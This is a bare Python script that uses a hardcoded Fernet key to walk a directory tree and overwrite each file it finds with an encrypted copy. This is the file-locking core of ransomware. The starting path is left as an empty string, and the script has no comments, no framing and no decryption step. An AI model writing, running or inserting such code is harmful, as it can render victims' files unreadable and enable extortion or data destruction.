
import os
from cryptography.fernet import Fernet

key = "jSQaM0qMFZBwgWPVmDYfF66CI0IIPXULtn6vJ_uE7VA=".encode()
cipher = Fernet(key)

for root, dirs, files in os.walk(""):
    for file in files:
        file_path = os.path.join(root, file)
        with open(file_path, "rb") as f:
            data = f.read()
        encrypted_data = cipher.encrypt(data)
        with open(file_path, "wb") as f:
            f.write(encrypted_data)
